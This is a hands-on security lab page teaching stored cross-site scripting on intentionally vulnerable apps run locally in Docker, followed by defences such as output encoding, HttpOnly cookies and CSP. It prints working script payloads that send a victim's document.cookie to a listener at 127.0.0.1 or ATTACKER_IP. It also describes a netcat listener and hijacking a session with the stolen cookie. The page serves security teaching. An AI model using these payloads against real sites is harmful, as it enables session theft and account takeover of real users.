Stored XSS Cookie Stealer
Plant a stored XSS payload that exfiltrates a victim's session cookie to your listener - then fix it with output encoding.
↳ Based on the lesson: Cross-Site Scripting (XSS)Legal Use Only
Cross-site scripting attacks must only be tested on applications you own or have explicit written authorization to test. Cookie theft against real users is illegal under computer fraud laws in virtually every jurisdiction. This lab runs entirely on your own VM with no real users involved.
The comment box saves what you type and shows it to every visitor. You're going to make it do something the developer never intended.
Scenario
You're testing a vulnerable blog application running on your lab VM. The "Leave a comment" feature stores user input in the database and renders it back to every subsequent visitor without any encoding. Your goal is to plant a JavaScript payload that silently exfiltrates each victim's session cookie to a listener you control - then harden the field so it can't happen again.
Setup:
# Option A: DVWA via Docker
$ docker run -d -p 8080:80 vulnerables/web-dvwa
# Navigate to http://localhost:8080, set security to Low
# Go to XSS (Stored) in the left menu
# Option B: OWASP Juice Shop
$ docker run -d -p 3000:3000 bkimminich/juice-shop
# Product reviews are a stored XSS vector
# Option C: WebGoat
$ docker run -d -p 8080:8080 webgoat/goat-and-wolfYour Objective
- Confirm the comment field reflects unsanitized HTML
- Plant a stored XSS payload that exfiltrates
document.cookieto a listener you control - Receive the stolen cookie at your listener (netcat or a webhook)
- Use the stolen cookie to hijack the session (demonstrate the impact)
- Fix the vulnerability by applying output encoding
Hints
Hint 1 - confirm HTML injection first
Before JavaScript, try a simpler payload to confirm HTML injection: submit alert(1) wrapped in script tags. If an alert box appears when you (or any visitor) views the page, JavaScript executes in the context of the application's origin.
Hint 2 - cookie exfil via image src
Browsers eagerly load image tags. An img tag whose src points to your server with the cookie appended as a query parameter will cause the victim's browser to fire an HTTP GET to your listener - carrying the cookie in the URL. No user interaction needed beyond page load.
Hint 3 - netcat as a minimal listener
You don't need a full web server. nc -lvnp 8888 listens on port 8888 and prints every raw HTTP request that arrives. The cookie will appear in the GET line. On the same Kali VM, use 127.0.0.1 as your listener IP. In a multi-VM setup, use your Kali IP visible from the target VM.
Walkthrough
Step 1: Confirm reflected HTML in the comment field
In the DVWA Stored XSS page, submit this as a comment (the Name field often has a length limit - use browser DevTools to raise maxlength first):
<b>hello world</b>If the comment renders as hello world (bold) instead of showing the literal angle brackets, HTML injection is confirmed. The application is not encoding output.
Now confirm JavaScript execution:
<script>alert(document.domain)</script>An alert showing localhost (or the app domain) confirms stored XSS. The payload executes in the app's origin, meaning it can access cookies set for that domain.
Step 2: Start a cookie listener
Open a second terminal and start netcat:
Your listener IP (for a single-VM lab) is 127.0.0.1. For a multi-VM lab, find your Kali IP on the lab network:
Step 3: Plant the stored XSS payload
Submit the following as the comment body. Replace 127.0.0.1 with your listener IP if running a multi-VM setup:
<script>
new Image().src = 'http://127.0.0.1:8888/steal?c=' + encodeURIComponent(document.cookie);
</script>This creates an invisible Image object. The browser immediately attempts to load its src - firing an HTTP GET to your netcat listener with the victim's cookies URL-encoded in the query string.
After submitting, reload the page (simulating a victim visiting):
Step 4: Receive the stolen cookie
Back in your netcat terminal you should see the incoming request:
URL-decode the c= value to read the raw cookie string:
Step 5: Hijack the session with the stolen cookie
Use curl with the stolen cookie to make an authenticated request as the victim:
Or set the cookie in your browser (DevTools → Application → Cookies → edit PHPSESSID value) and reload - you are now authenticated as the victim without ever knowing their password.
Solution
Core exfil payload:
<script>new Image().src='http://ATTACKER_IP:8888/?c='+encodeURIComponent(document.cookie)</script>Why it works: The browser executes the stored script in the origin of the vulnerable application. document.cookie returns all non-HttpOnly cookies for that origin. The Image trick triggers a cross-origin GET request (which browsers allow for images), carrying the cookie value to the attacker's server in the URL. Netcat prints every raw byte of the request - no server software needed.
Why the attack is persistent: The payload is stored in the database. Every user who views the comment page triggers the exfiltration - the attacker doesn't need to be present.
Defend It
The fix: output encoding
XSS is prevented by treating all user-supplied content as data, never as markup. Encode HTML special characters before inserting content into an HTML context.
PHP - output encoding:
# Vulnerable - raw echo into HTML:
# echo $comment;
# Safe - HTML-encode before output:
# echo htmlspecialchars($comment, ENT_QUOTES, 'UTF-8');Characters that must be encoded in HTML context:
| Raw | Encoded |
|---|---|
| less than | < |
| greater than | > |
" | " |
' | ' |
& | & |
Additional hardening layers:
- HttpOnly cookie flag - prevents JavaScript from reading
document.cookieentirely. Even if XSS fires, the cookie is inaccessible. Set withSet-Cookie: PHPSESSID=...; HttpOnly; Secure; SameSite=Strict. - Content-Security-Policy header -
Content-Security-Policy: default-src 'self'blocks inline scripts and prevents loading resources from external origins. - Input validation - reject or strip HTML tags on input as a defence-in-depth measure, but never rely on this alone (output encoding is the primary control).
- Sanitization libraries - for rich-text fields where HTML must be allowed, use a battle-tested library (DOMPurify in JS, HTML Purifier in PHP) rather than writing your own allowlist.